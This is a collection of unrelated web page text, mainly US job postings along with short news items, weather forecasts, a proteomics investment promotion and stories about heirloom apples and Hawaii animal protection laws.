QUANTIT Y (C) UNI T (D) UNIT PRICE (E) AMOUNT (F) 0001 Compensation, Fringe Benefits and Other Direct Costs (ODCs) - Award Type: Cost - Product Service Code: [e.g. R497] - Accounting Info: [insert one or more citation(s) from Phoenix/GLAAS] 1 LOT $ _TBD__ $_TBD at Award after negotiations with Contractor_ 3. Acquisition & Assistance Policy Directives/Contract Information Bulletins (AAPDs/CIBs) for Personal Services Contracts with Individuals available at http://www.usaid.gov/work- usaid/aapds-cibs 4. Ethical Conduct. By the acceptance of a USAID personal services contract as an individual, the contractor will be acknowledging receipt of the "Standards of Ethical Conduct for Employees of the Executive Branch," available from the U.S. Office of Government Ethics, in accordance with General Provision 2 and 5 CFR 2635. See https://www.oge.gov/web/oge.nsf/OGE%20Regulations 5. PSC Ombudsman The PSC Ombudsman serves as a resource for any Personal Services Contractor who has entered into a contract with the United States Agency for International Development and is available to provide clarity on their specific contract with the agency. Please visit our page for additional information: https://www.usaid.gov/work-usaid/personal-service-contracts-ombudsman. 1. The PSC Ombudsman may be contacted via: (see application details)




ENGINEER IN TRAINING, RELIABILITY (ELECTRICAL) Company: Central Arizona Project Location: Phoenix, AZ Starting Salary Range: $68,884 - $78,277 #967 Closes: 7/28/21 About the Pay Note: The salary range listed ($68,884 - $78,277) reflects the TARGET HIRING RANGE only and does not represent the full pay range for this position. About Central Arizona Project Central Arizona Project, a 336-mile system that brings Colorado River water to central and southern Arizona, delivers the state's single largest renewable water supply and serves 80% of the state's population.



We employ nearly 500 people who enjoy a team oriented and safety focused work culture. The close community of a small company is driven to help fulfill our extremely valuable mission. We offer highly competitive salaries and excellent benefits including membership in the Arizona State Retirement System, 401(k), medical, dental, vision and life insurance coverage, 4-10 work schedule, and significant investment in employee training and development. Employees are eligible for benefits on their first day of employment. CAP is truly a great place to work! About the Department The Maintenance Control Department provides reliability engineering expertise to Central Arizona Project (CAP) and is seeking an Electrical Reliability Engineer in Training to provide discipline expertise to CAP's asset management program. About the Responsibilities The Reliability Engineer in Training (EIT) position is intended to provide Central Arizona Project (CAP) an internal method to train engineers for future filling of Reliability Engineer positions. The Reliability Engineer in Training will gain a thorough understanding of the operation and maintenance requirements of the CAP through job assignment, mentoring, and training. Individuals in this position will work regularly with experienced craftsmen, engineers and other maintenance personnel to learn about the equipment, systems and procedures in place across the CAP. The EIT is a strategic role whose purpose is to help identify trends and prevent system failures through the application of maintenance metrics, key performance indicators and predictive and condition-based maintenance programs. Provides reliability engineering services as a member of an asset management team responsible for the reliability, availability and maintenance of pumping plants, water conveyance systems and facilities for the CAP. In collaboration with others, provides support to internal customers through the following means: field troubleshooting and diagnostic testing, identification of failures through root-cause failure analysis, develop recommendations for long-term capital expenditures, modification to equipment maintenance plans and further refinement of the major asset condition assessment program. Electrical  Assessment, evaluation and engineering support activities for large synchronous motors and generators, transformers, backup power generator sets, excitation systems, circuit breakers, switchgear, relays, UPS systems, facilities, cable systems and other auxiliary equipment. Includes high, medium and low voltage systems. A few of the specific responsibilities include: Support the development and administration of an integrated maintenance program for all CAP facilities that incorporates preventive/predictive maintenance (ppm) industry best practices. Develop, review, and modify maintenance procedures, guidelines and schedules for electrical, mechanical, and other equipment and structures. Write and adjust ppm procedures and frequencies as necessary. Provide standardization in ppm procedures and frequencies. Utilize industry best practices (Reliability-Centered Maintenance, Condition-Based Monitoring, Root Cause Failure Analysis, Key Performance Indicators, etc.) to provide continuous improvement and optimum equipment performance, safety and reliability at minimum costs. About the Qualifications A Bachelor of Science degree (or higher) in Electrical Engineering or a closely related field. Must effectively manage multiple projects at various phases of the project life cycle; possess and be able to demonstrate good communication and professional interpersonal skills; have the ability to work collaboratively in a team environment, coordinate resources and work through competing priorities; possess a working knowledge of MS Excel, MS Project, and standard MS Office applications; ability to work well under pressure of time constraints and commitments. Preference given to candidates who have previous work or internship experience related to this position and those who have successfully completed the Fundamentals of Engineering (FE) exam. Required Certifications or Licenses: Must have a valid driver's license and maintain a good driving record. This is a safety-sensitive position and requires physical testing. If you are a creative thinker looking for exciting challenges and work variety, at an amazing company, APPLY ONLINE TODAY www.cap-az.com/jobs! EOE

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EMPLOYMENT OPPORTUNITY Payroll Specialist Position Summary: Pending board approval on September 7, 2021 and a start date

towards the end of September, Kitsap Transit is looking for a qualified, interested, and

experienced candidate to join our team as a Payroll Specialist. The ideal candidate will have

experience and demonstrated success in the preparation of payroll, related reports and

payroll records.

The person in this position will key employee hours worked, review employee time and payroll

records for accuracy; monitor payroll deductions; verify data and timesheets, rates of pay and

available leave balances for each pay period and initiate electronic transfer of funds for

payroll.

This position will maintain employee payroll records including benefit enrollment, employee

retirement, deferred compensation and voluntary deductions; record, track, initiate and enter

changes to individual employee payroll accounts and maintain accumulated leave records for

employees.

The successful candidate will prepare payroll deduction reports; prepare payroll related

financial and statistical reports and documents; review payroll reporting documentation; verify

data for accuracy; reconcile payroll related records to general ledger accounts and prepare

journal entries as required.

This position is also responsible for reviewing and paying premium statements for employee

enrollments for insurance plans; calculating premium payments and changes in rates and

employee contributions.

The person in this position will respond to a variety of questions and problems, ensuring

necessary and timely follow-up; explain applicable laws, regulations and agency policy related

to payroll, benefits and related issues. This position will also conduct payroll orientation for new employees; explain policies and

programs and assist in completing forms.

This position reports to the Payroll Supervisor.

Salary Range: The range for this position is $27.32 - $36.71 per hour, commensurate with

experience. With rare exception, initial appointments are usually made at Step 1 ($27.32).

Employees typically progress from Step 1 to Step 2 at six-months from their hire date and

annually thereafter with satisfactory job performance. Step increases are based on a seven-

step progression in each pay range with each step being approximately 5% higher than the

previous step.

Benefits: Full-time employees receive a generous benefits package including subsidized

medical insurance and fully paid dental insurance for employee and dependents, as well as

disability insurance and life insurance. This position participates in the Washington State

Public Employees Retirement Plan with the option of participating in a state administered

deferred compensation plan. Employees receive a generous general leave accrual and 11

holidays pro-rated based on the number of hours worked per pay period up to a maximum of

80 hours per pay period. Kitsap Transit also provides employees and certain dependents with

a free transportation pass on Kitsap Transit.

Hours of Work: Work is conducted during regular business hours, Monday through Friday.

May require occasional evening or weekend work. Occasional travel to Seattle to attend

meetings may be required. QUALIFICATIONS Kitsap Transit employees who wish to apply must have a satisfactory performance and

attendance record. Kitsap Transit Operators with any of the following criteria in the last

twelve months are excluded from recruitment opportunities:

a current Decision Making Leave or higher in the Safety category

more than two held customer complaints

more than four unscheduled absences

more than two late reports

Education and Experience: High school graduation or G.E.D. and four years of increasingly

responsible payroll-related experience. College level coursework in accounting, finance or

business is preferred.

Knowledge, Skills and Abilities: Following are some highlights of what is needed to be

successful in this position

Principles and practices of payroll and management of payroll records;

General accounting principles and practices related to payroll functions;

State and federal laws and regulations pertaining to payroll; Performing accounting support duties involved in payroll preparation and administration, employee benefits and maintenance of payroll records;

Data entry, verification, and report development;

Balancing accounts and reconciling financial data;

Reading and applying terms of labor agreements and business account contracts;

Communicating related policies, procedures, and regulations;

Using personal computers and office software including word processing,

spreadsheets and database programs in a Windows-based operating environment;

and

Establishing and maintaining effective working relationships with other employees and

the public. Working Conditions/Physical Requirements: Positions in this class typically require:

dexterity of hands and fingers to operate a computer keyboard and other equipment, talking,

hearing, seeing and repetitive motions. Sedentary Work: Exerting up to 10 pounds of force

occasionally and/or a negligible amount of force frequently or constantly to lift, carry, push,

pull or otherwise move objects, including the human body. Sedentary work involves sitting

most of the time. Jobs are sedentary if walking and standing are required only occasionally

and all other sedentary criteria are met. Will be required to assist in the vault room processing

the fares collected from the buses. This would require lifting up to thirty pounds several times

and includes bending and reaching. Selection Process: After evaluating the completed application packets, we will invite the

most qualified applicants to the next step in the recruitment process. We will not make any

hiring decisions until all steps in the selection process are completed, including reference and

background checks.

To Apply: If you decide to apply for this position, please visit our employment link at

http://kitsaptransit.appone.com/. Please contact Marianne Rajan in the Human Resources

Department at (360) 478-5852 if you have any questions.

Closing Date: Your completed application must be submitted online by 4:00 PM, Friday,

July 30th 2021. You may include a resume; however, it may not be used in lieu of a

completed application.

Selective certification may be used to achieve affirmative action goals.

Kitsap Transit is committed to providing access and reasonable accommodation in its services,

programs, activities, and employment for individuals with disabilities. To request disability

accommodation in the hiring process, contact jobapplada@kitsaptransit.com at least ten days in

advance or 360-479-4348 (TDD).

If you qualify for the Veterans Scoring Criteria under RCW 41.04.005 and 41.04.010, you must

answer all questions regarding Veterans Scoring Criteria Status Declaration in the application

and upload a copy of the substantiating document as listed in the application.

Kitsap Transit is subject to the requirements of the Federal Drug-Free Workplace Act and CFR

Part 40 & Part 655, which prohibits the use of marijuana at any time while employed by Kitsap

Transit.

KITSAP TRANSIT IS AN EQUAL EMPLOYMENT OPPORTUNITY EMPLOYER

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About the Opportunity:

ReachLocalis looking for a Client Success Manager to develop and execute on digital marketing strategies for our companys clients. This role will formulate appropriate strategies and implementation plans and will be responsible for the ongoing management of the clients digital marketing plan.



Job Summary

The Client Success Manager will advise our clients on how best to leverage current and emerging marketing solutions to meet their business needs. This role will possess strong expertise in existing and emerging business marketing solutions and will collaborate with our sales consultants to identify opportunities and effectively deliver on marketing solutions to best suit our clients business needs & maximize their return on investment (advertising expenses).

Strong proficiency in customer relationship management, online search and display advertising techniques and ReachLocal proprietary technologies are required. This role will manage day to day campaign performance, assess digital campaign trends, facilitate client advertising performance discussions, and identify creative new advertising techniques to further our clients digital marketing needs.



About Your Responsibilities:

Build rapport with client representatives and marketing staffs through routine and scheduled interactions

Develop & advise on marketing strategies by understanding client expectations, assessing feasibility and identifying marketing and advertising opportunities for our clients

Monitor, evaluate, and leverage standard processes to manage SEM/display campaign performance across ReachLocalspublisher networks to determine improvement opportunities

Troubleshoot performance issues using digital advertising best practices while creating new, innovative solutions to meet the changing needs of our clients

Drive campaign ROI and leverage client relationships to assist the sales team in growing accounts

Manage client expectations, communication and performance metrics

Incorporate constantly evolving technologies and processes into the client solution delivery process



Additional Responsibilities:



Conducting and leading trainings for the team

Assisting direct manager in projects

Escalation as second pair of eyes on campaigns

Create performance improvement plans for under-performing campaigns

Go-to person for team questions when management is unavailable



Key Skills

Ability to quickly master business process, marketing and technology concepts

Demonstrated expertise in customer relationship management

Mastery of key technologies and systems to manage digital marketing campaigns

Advanced capabilities to effectively manage digital advertising campaigns Search, Display, Marketing Management Systems etc.

Strong technical skills to establish, assess, modify/adjust, and routinely improve marketing campaigns over their lifecycle

Demonstrated expertise with digital marketing publishing systems & processes

Strong verbal and written communication skills





Key Competencies

Customer Focus

Establish and maintain effective relationships with clients

Seek client feedback and incorporate it into future activities

Demonstrate dedication to meeting client expectations and requirements

Organization

Able to manage time and prioritize multiple tasks in a fast-paced environment

Organize tasks, deliverables and meet commitments on time

Analytical Thinking

Capable of interpreting data and making recommendations to prove performance

Quickly identify the symptoms and underlying cause of problems

Business Process and Technology Acumen

Capable of quickly mastering business processes

Ability to master technology solutions

Conflict Management

Good at focused listening

Can find common ground and explains differing viewpoints comprehensively



About You:

Bachelors Degree in General Business, Economics, Finance, Marketing, Advertising, Public Relations, Journalism or English

4+ years hands-on experience managing online/digital advertising campaigns

Must have 5+ years of client service/account management experience.



About ReachLocal:

Are you looking for a company that values innovation, passion, and a healthy work/life balance? A job where you feel supported and appreciated? At ReachLocal, we know our employees drive success, and we strive to create a thriving company culture where youll enjoy coming to work every day. Here, you can walk through the halls and bump into our CEO, catch an inter-office ping pong tournament, or support a local cause with your fellow employees. Are you ready to join a company where you can have fun and work with some of brightest people in digital marketing? Our mission is to help local businesses all over the world reach more local customers online. As a leader in powering online marketing for local businesses, ReachLocalhas been recognized for outstanding products and exceptional employees, having won Googles Quality Account Champion in North America and Googles Innovation Champion Award in Canada.



ReachLocal is headquartered in Woodland Hills, CA, with over 35 locations throughout the United States, Canada, India, Australia, New Zealand and Brazil.



We invite you to learn more about us, connect with us, and grow with us here:

Career Site: http://careers.reachlocal.com

Blog: http://blog.reachlocal.com/

LinkedIn: https://www.linkedin.com/company/reachlocal

Twitter: https://twitter.com/reachlocaljobs

YouTube: https://www.youtube.com/user/reachlocal

Hear from our employees: http://blog.reachlocal.com/reachlocal-services-spotlight-meet-some-of-our-marketing-experts

ReachLocalis an equal opportunity employer. Applicants for all job openings are welcome and will be considered without regard to race, color, religion, national origin, sex, age, sexual orientation, physical or mental disability, or any other basis protected by state, federal or local law. It is the intent of the Company to comply with all applicable federal, state and local legislation concerning equal opportunity in employment. This job description is not designed to cover or contain a comprehensive listing of all activities, duties or responsibilities required of the employee.


Nutanix Inc. has openings in Durham, NC: Systems Reliability Engineer (21NC8); Member of Technical Staff (21NC9). All of these positions will involve developing technologies for the companys next-generation enterprise cloud operating system products. Specific requirements apply. Some positions may have direct reports and/or require domestic/intl travel. Mail resume to 1740 Technology Dr., #150, San Jose, CA 95110, attn. L.L. Must include Req # to be considered.

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Location: Richland Center - Wisconsin

Job Description Who is Rockwell Do you want to make a difference in the world? At Rockwell Automation you can do just that and more. Rockwell is a global leader in industrial automation and digital transformation. We connect the imaginations of people with the potential technology to expand what is humanly possible, making the world more productive and sustainable. Rockwell was recognized as one of the World's Most Ethical Companies in 2020. We place a high value on integrity which fosters an environment where all employees can and want to do their best work. To learn more about how we are bringing The Connected Enterprise to life across industrial enterprises, please visit www.rockwellautomation.com. What Rockwell Brings to You Rockwell cares about our employees and our benefits package is just one way we support you. Rockwell provides options for medical, dental and vision insurance, 401K plan including company match, generous vacation allowances, and many more options available. To learn more about our Benefits Package, please visit https://raquickfind.com/. What Rockwell Needs from You We need a diverse workforce to do our best work. We need the makers, the forward thinkers, the problem solvers, and everything in between. That is where you come in. We are looking for a Material Handler 3. This is a 1st shift role (M-F, 7:00AM - 3:30PM), in the Warehouse department with a starting rate of $15.94 per hour. JOB SUMMARY: Performs the physical or administrative tasks involved in the shipping, receiving, storing, and distributing of materials, parts, supplies, and equipment. Unpacks and checks goods received against purchase orders or invoices, maintains records of received goods and rejects unsatisfactory items. Lifts heavy items and may operate a forklift. Prepares and maintains records of merchandise shipped. Posts weights and shipping charges and prepares goods for final shipment. Examines, stocks, and distributes materials in inventory and on manufacturing lines. May prepare kitting packages for assembly production. RESPONSIBLITIES and ESSENTIAL FUNCTIONS: Reviews documentation and leverages SAP/external systems to assess, replenish, and prioritize material and finished goods to support production and shipping processes. Provides documentation support, materials administration, and process support. Uses judgment to propose solutions and troubleshoot material flow or documentation issues. May operate Powered Industrial Vehicles to load, unload and transfer materials/finished product. SKILLS: Problem solving

Using a computer to view, log, or find appropriate job related information

Safe use of Powered industrial vehicles and other material handling equipment

Use of Scanning Devices

Self-directed in a team environment BASIC QUALIFICATIONS: A minimum of High School Diploma/GED OR 2 year of verified related experience

Legal authorization to work in the US is required. We will not sponsor individuals for employment visas, now or in the future, for this job opening. PREFERRED QUALIFICATIONS: Typically requires a minimum of 2 years of related experience We are an Equal Opportunity Employer including disability and veterans. If you are an individual with a disability and you need assistance or a reasonable accommodation during the application process, please contact our services team at +1 (see application details).




Location: 6311-Norfolk Hauling



Job Title

Class A CDL Driver

Primary Location

Norfolk, Virginia

Employee Type

Employee

Job Description

Bay Disposal has an immediate opening for a safety conscious Class ACDLDriver to join the team at our location in Norfolk, VA. POSITION SUMMARY: In this position you will be operating a garbage truck on a specified route.

This is a labor-intensive position requiring regular heavy lifting and climbing in and out of the truck.

This position will be responsible for safely, efficiently, and courteously serving customers.

This is a full time, year round position. A typical schedule for this position is Monday - Friday with occasional Saturdays as needed, approximately 50-55 hour work week. JOB REQUIREMENTS: Valid Class B CDL with air brakes endorsement as a minimum.

Have at least 2 years of work experience as well as a stable work history, preferably in a driver position.

Able to lift 50+ pounds.

Able and willing to work outside in all weather conditions. WHAT WE OFFER: Competitive pay

Excellent benefits including: medical, dental, vision, flexible spending account, long term disability, life insurance, 401K retirement and unlimited opportunities to "Connect with Your Future".

Garbage is very stable and we work year round! Apply today and Connect with Your Future! Waste Connections is an Affirmative Action/Equal Opportunity Employer (Minorities/Female/Disabled/Veterans)


Magnolia, AR (71754)

Today

Mostly cloudy with heavy rain developing late. Low 72F. Winds light and variable. Chance of rain 90%. Rainfall near a half an inch..

Tonight

Mostly cloudy with heavy rain developing late. Low 72F. Winds light and variable. Chance of rain 90%. Rainfall near a half an inch.
Proteomics: The Next Truly Massive Investing Opportunity

Blue and red flashing lights pierced the darkness. Michael Behar and his family were on vacation at a remote campsite 10,000 feet up in the Rocky Mountains. They were huddled around a campfire when a police sergeant pulled up in his SUV. He stepped out and said, Mr. Behar, Im sorry to have to tell you that your mother has passed away.



Michaels mother had suffered a heart attack. But not too long before she had passed a series of coronary scans with flying colors. Behar knew we had to find a better way to see what was happening inside the body.



His doctor encouraged him to sign up for a medical trial across town. In short, the test would scour Michaels blood for proteins associated with heart disease.

A New Superpower

When you hear about protein, you likely think of high-protein foods like beef. But proteins are far more important than a big, juicy steak. They are the building blocks of every living thing on earth. Inside your body, billions of tiny biological nanomachines called proteins are hard at work. They are what allow your eyes to detect light. Your brain to think. And your blood to carry oxygen. Proteins allow your body to battle infections, and convert what you eat into nutrients.The study of proteins is called proteomics (pro-te-omics). Proteomics is closely related to genomics. While the latter is concerned with our DNA; proteomics is all about proteins.My research shows proteomics will be even bigger than genomics And so is the moneymaking opportunity. As you may know, genomics stocks have been red hot over the past couple years. For example, Intellia (NTLA) and 10x Genomics (TXG) have surged 550% and 277% since 2019.But genomics is simply a sideshow. Proteomics is the main event. Highly respected medical research facility the Baker Institute found proteomics provides 1000X more information than DNA. I chatted with a PhD geneticist who told me: Genomics is fun but the real breakthroughs will come from proteomics.

Over 1.5 million Americans die from heart disease, strokes, cancer, and Alzheimers each year. But folks with these deadly diseases often dont know theyre sick until its too late, like Michael Behars mother.



Proteomics is like a superpower. It lets doctors peek inside your body to see whats happening in real time. Proteins signal when something is wrong inside your body. They can confirm when an illness is underway, long before we even feel sick.



As Joshua LaBaer, founder of Harvards Proteomics Institute, said: Its the proteins we can measure before anything else. Illnesses like the flu, COVID, and HIV are already diagnosed through protein tests.



Now scientists are developing proteomics tests to catch deadly diseases early . Baylor College of Medicine researchers discovered colon cancers have their own unique proteomic patterns. They found proteomics could help doctors understand what causes the disease. And more important, discover new ways to control or eradicate it.



In short, damaged proteins often cause diseases like cancer. But they can also be used to cure them. For example, 90%+ of drugs target a protein. The antibodies used to treat infections are just proteins designed in a lab.



Proteomics is also allowing doctors to detect Alzheimers with a simple blood test. The C2N test measures for a protein called tau, which is often found in the brains of people with Alzheimers. It then slowly seeps into the bloodstream. Get this: the test can detect tau up to 20 years before patients develop any symptoms .



Proteomics is even helping diagnose autism in babies. UT Southwestern Medical Center researchers identified proteins that could lead to an earlier diagnosis of children with autism. Right now the average age of a child diagnosed is 4 years old. But catching it earlier means the child is more likely to get effective treatment.

Why Am I Only Hearing About Proteomics Now?

Scientists have long known about proteomics potential. But the sheer cost and complexity of protein detection kept the industry locked inside college science labs. There are around 200 million known proteins, and detecting them isnt easy. Until recently it took 30 hours just to get shreds of data from one human sample.



Theres been a couple of big breakthroughs over the past year. And proteomics is following the same trajectory as genomics. It took scientists 13 years and $3 billion to sequence the first human genome. Even as recently as 2011 Apple founder Steve Jobs forked over $100,000 to get his DNA mapped.



Then a little-known company called Illumina pioneered a new way to map DNA and slashed costs by 99%. Last year over 10 million Americans got their DNA mapped by firms like 23andMe for just a few hundred bucks.



Similar breakthroughs are happening in proteomics. In short, proteomics is one of the most exciting hypergrowth industries in the world today. Within the next couple years, proteomics will be able to tell us precisely whats going on inside our bodies. Omid Farokhzad of Harvard Medical School says: Well be able to diagnose diseases such as cancers and Alzheimers years before symptoms. This is definitely one investing trend youll want to keep an eye on in the coming years.

The Great Reset: The Collapse of the Biggest Bubble in History

New York Times best-seller and renowned financial expert John Mauldin predicts an unprecedented financial crisis that could trigger in the next five years. Most investors seem completely unaware of the relentless pressure thats building right now. Learn more here.

By Stephen McBride

http://www.riskhedge.com

 2021 Copyright Stephen McBride - All Rights Reserved Disclaimer: The above is a matter of opinion provided for general information purposes only and is not intended as investment advice. Information and analysis above are derived from sources and utilising methods believed to be reliable, but we cannot accept responsibility for any losses you may incur as a result of this analysis. Individuals should consult with their personal financial advisors.

 2005-2019 http://www.MarketOracle.co.uk - The Market Oracle is a FREE Daily Financial Markets Analysis & Forecasting online publication.




As you are aware, the Ministry of Health and Wellness in collaboration with the World Health Organization (WHO Mauritius) is conducting the Vaccination Campaign against Corona Virus (Covid-19).

In this context, the administration of 1st dose of Sputnik V Vaccine is being administered at Central Warehouse, Castel as from Monday 12 July 2021.

Please note that only the below mentioned personnel who are already registered with the Economic Development Board are being vaccinated at the above site as from 09 00 hours to 15 00 hours.

i). Teaching and Non-Teaching staff;

ii). Personnel of the Tourism and Travel Sector;

iii). Personnel of the ATOL / AML;

iv). Personnel of the Air Mauritius;

v). Mauritius Port Authority Personnel; and

vi). Personnel of the Economic Sector
Herman Miller, which is funding the deal with new debt and cash on hand, is paying a 45% premium for Knoll, which spent the last year trimming costs and diversifying its business amid a pandemic that decimated office demand. The companies have said the transaction will result in $100 million of synergies within two years, driven by selling, general and administrative savings as well as those within supply chain, procurement and logistics.
While Pennsylvanias case rate is increasing, most other states are increasing faster as the delta variant becomes dominant. Data from the U.S. Centers for Disease Control and Prevention show that Pennsylvania has the third lowest population-adjusted rate over the last seven days, 10.2 cases per 100,000 residents per week. Only Vermont (7.9) and South Dakota (2.9) are lower.
We still have an approximately $8,000 credit card bill on which we charged the hotel. We need to pay off that debt and dont have the means to do this ourselves. Would you be able to help us with that? the page asked.
Under the plans, the Sheetz would divide the existing parking lot with the neighboring AutoZone. Unlike the new Sheetz in New Smithville, this franchise would exclusively serve passenger vehicles, Sheetz officials said. Tractor trailers wouldnt be able to fit through the narrow driveway entrances, and the diesel fuel pumps would not be able to readily serve big rigs, they said.
Public funding is critical to this project, and we are fortunate to have local, state and federal financial support, as well as the endorsement of school, business and other community leaders, Erickson said. We are building a community-based science center and our success is dependent upon the support and involvement of the entire community.
North Whitehall, home to the Trexler Nature Preserve and situated near several major regional thoroughfares, has been engaged in a balancing act between its rural character and commercial interest for years. Voters in 2019 approved by referendum a tax increase to fund more farmland preservation. Last year, a Denver firm bought more than 100 acres along the Northeast Extension of the Pennsylvania Turnpike to build warehouses, and supervisors conditionally approved a 12-acre commercial district along Route 309. An organized group of more than 100 residents has been opposing the redevelopment of a 140-acre farm, Strawberry Acres, since 2013. This year, supervisors conditionally approved the 55-plus community pitched for that farm.
Passing the VOCA Fix Act could rectify the current funding issues and improve the long-term viability of VOCA and all the organizations across the U.S. that rely on VOCA funding. The VOCA Fix Act will correct the current funding discrepancy by mandating that those monetary penalties associated with federal crimes get deposited into the Crime Victims Fund instead of the General Fund.
There wasnt universal support. Four of the 19 members of the state board voted against the plan. They argued it would cost jobs at power plants, raise the price of electricity and result in Pennsylvania losing control over an important part of its economy.
During the COVID-19 pandemic, Pennsylvania implemented a temporary release program for inmates who were considered to be high risk of getting seriously ill if they contracted the virus. More than 1,200 inmates initially were projected to be eligible, but only about 160 were released, according to a letter lawmakers sent to Wolf in February calling for more releases.
Burley, ID (83318)

Today

Partly cloudy skies early will give way to cloudy skies late. Low 69F. Winds light and variable..

Tonight

Partly cloudy skies early will give way to cloudy skies late. Low 69F. Winds light and variable.
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Regional

3 railway workers abducted in Mnp

Correspondent IMPHAL, JUL 14 | Publish Date: 7/14/2021 1:35:01 PM IST

Suspected militants abducted three workers of a private company engaged in railway construction works in the Jiribam-Tupul railway construction in Tamenglong district at gunpoint, an official source said on Wednesday. The sources said that two officials of Shivalaya Construction Company Private Limited and the driver of the vehicle they were travelling were abducted along the NH-37 from Old Keiphundai area Tuesday morning.

Reports said that the suspects forcibly stopped the vehicles which was travelling to their worksite from Old Keiphundai area, around four kilometers from Makru Bridge. Police suspect the trio were abducted for ransom by an armed militant group actively operating in the area. However, none of the armed groups so far owned up to the abduction.

Meanwhile, teams of police commandos and Central security forces who rushed to the area immediately have launched a massive rescue operation. The operation was in progress till the time of filing this report. This was not the first time in which officials and workers of the companies engaging in the railway line construction were abducted for ransom by the armed groups actively operating in the area.
International

S. Korea protests against Japans renewed claims to disputed islets

SEOUL, JUL 13 (IANS) | Publish Date: 7/13/2021 2:13:32 PM IST

South Korea on Tuesday protested against Japans renewed territorial claims to the disputed islets lying halfway between the two countries, called Dokdo by Seoul and Takeshima by Tokyo.

The South Korean Foreign Ministry said in a statement that the government strongly protests against the Japanese governments reiteration of futile territorial claims over Dokdo through Japans 2021 defence white paper released earlier in the day, reports Xinhua news agency.

The Ministry noted that Dokdo is clearly an integral part of the South Korean territory in terms of history, geography and international law, calling for Japan to immediately retract such claims.

It said the government particularly expresses strong regrets over the Japanese governments recent intensification of its unjust claims over Dokdo, noting that the unjust claims do not, and will not, have any impact on South Koreas sovereignty over Dokdo.

The Ministry added that South Korea will respond strictly and firmly to any provocation over the islets.

The Foreign Ministry summoned Hirohisa Soma, deputy chief of mission at the Japanese Embassy in Seoul, in protest against the white paper.

The Defence Ministry separately summoned an attache of Japan to lodge a protest, according to Yonhap news agency.

Since 2005, Japan has laid territorial claims to the rocky outcroppings every year in its diplomatic blue and defence white papers.
Tom Brown from Western North Carolina had been working actively to restore the rare and lost apple varieties around Appalachia since the 90s, and was able to save about 1,200 varieties of these heirloom apples up to date.

Brown currently resides in the center of the state of Clemmons and a retired chemical engineer. He's been on a long journey of rescuing Appalachia's apples with fear that they might disappear forever if he doesn't do this meaningful work.

"Finding old apples was a joy for me knowing I was helping me preserve our agriculture heritage," Brown said. This passion of him started when he saw many of the apple varieties that he can find, and contacting people, even visiting homes of strangers to inquire about apples.

"I think that there was more to their friendly behavior than apples; it probably related to the fact that these were just good/decent people," he shared.

Brown's Apple Expeditions

In a piece written in Atlas Obscura, it was said that people who hold clues about the apples' locations are typically in their 80s or 90s. Due to storms, development, beetles, and blights, these trees are barely striving, which pursues Brown to drive around 30,0000 miles a year and spending roughly three days a week on his quest for these apples.

Out of all the apple varieties, Brown finally concedes to say that his favorite apple-found is the Junaluska due to its historical significance, which was named after Cherokee Indians chief in the Smoky Mountains in the early 1800s.

Meanwhile, his 'cherished recipe' was Big Mama's Apple Cake also featured on The Very Vera Show.

"Big Mama, Mamie Warrington Everett, was my wife's grandmother and she lived near Yazoo, Mississippi," Brown said, noting that the honorific "Big Mama" referred to her as the family leader. The cake is made of a delectable combination of tart apples, vanilla, allspice, cinnamon, and studded with walnuts or pecans and moist, chewy bliss.

"Like any good recipe, we're sure its connection to his family's roots makes it all the sweeter."

Also read: California Drought Putting Trees in Bay Area 'Under Stress'

A Pomological Calling

According to Brown, what gives him the rush and satisfaction on his Apples quests was not baking the cakes or the pies or even biting into a crisp, fresh apple straight off the tree, but a 'pomological calling'.

"In reality, I like the challenge of finding the old apples, that my favorite apple is one that I am searching for but have not found yet," he elaborated.

The 'Appalachian Apple Hunter' that is Brown managed to rescue 1,000 'lost' varieties. When he finds a tree, he takes clippings and returns during fruiting season to identify them. To further verify, he would compare leaves and apples to catalog entries, and uses photos to correspond with experts.

Brown's search-and-rescue attempts had been advertised in area newspapers seeking information about old apple trees.

"Saving an apple from the brink of extinction is a miraculous feeling. It's incredibly rewarding-and incredibly addictive!"

Also read: Eating 5-Day-Old Pasta Can Actually Kill You Due to This Deadly Bacteria
As Hawaii's legislative year comes into an end, animal advocates celebrate the official ban on killing sharks in state waters, along with the passage of seven new animal protection laws.

Seven New Animal Protection Laws

Hawaii recently joined Maine, Maryland and Virginia's legislation on forbidding the sale of cosmetic products practicing animal testing on the process of its production, one of the most notable animal protection effort under the law.

Hawaii also becomes the seventh state to ban intentional release of balloons, one of the three most critical wildlife protection law to be passed by the state, thus preventing marine animals to ingest or get entangled in the non-biodegradable balloon pieces and reducing other environmental concerns associated with them.

Moreover, Hawaii legislature passed a bill to authorize joining in the Interstate Wildlife Violator Compact to eradicate wildlife poaching and illegal wildlife trading. In the meantime, Massachusetts remains the only state that is not yet a member of the compact.

The declining population of sharks in a global scale also pushed through the needed law for complete ban on intentional killing of sharks in the state's waters. The state believes that the new law is 'needed now more than ever'.

Along with that, three new laws were passed to 'improve companion animal welfare'. One of them includes prohibiting inhumane dog tethering. This gives assurance to animal advocates that unsupervised dogs are safe, provided, and sheltered sufficiently.

Hawaii also bans sexual abuse of animals along with other 48 states, excluding West Virginia and New Mexico that are yet to join the movement. The law was linked to a similar abuse and violent acts on children in the state.

Lastly, Hawaii gives protection to the state's veterinarians against liability for providing emergency treatment to injured animals, and reporting suspected animal abuse.

Also read: Rising Sea Temperature Are Causing Skin Disease to Whitetip Reef Sharks in Malaysia

Advocacy on Humane Animal Treatment

The Humane Society of the United States (HSUS) was impressed with Hawaii's initiative and effort to improve lives of animals, and for the 'exceptional progress' on working together as one for the animals.

"Hawaii made huge strides by passing seven bills within one session improving the lives of animals," said Senior Policy Director of State Affairs for Humane Society of the United States, Andi Bernat. "We hope that the state can serve as a leading example for the rest of the nation of what can happen when legislators and advocates commit to making humane changes."

"There are many times we work with legislators to introduce state bills that get rejected before they can even see a vote. This is what makes the Hawaii legislative year even more momentous," she noted.

HSUS expressed gratitude with the Hawaiian Humane Society, For the Fishes, Cruelty Free International, and the Humane Society Veterinary Medical Association, as well as the Hawaiian State representatives, Dr, Ranaella Steinberg and Dr. Eric Jayne for the supporting the legislative session.

"It's a reflection of the exceptional progress we are making together as a movement."

Also read: Bull Sharks Are Capable of Forming Friendship With Each Other, Study Suggests
In Asian region they typically have four different kinds of season: spring (Vasant Ritu), autumn (Sharad Ritu), summer (Grishma Ritu), and monsoon (Varsha Ritu) but in the case of India they have six kinds of season which includes prewinter (Hemant-Ritu) and winter (Shita Ritu). During these different seasons comes different effects in the lands of India.

Strong lightning and strong winds usually come during the monsoon season. It usually hits farms where people usually farm crops, grazing camels and sheep, high elevation grounds and people who take rain lightly and play outside their households.

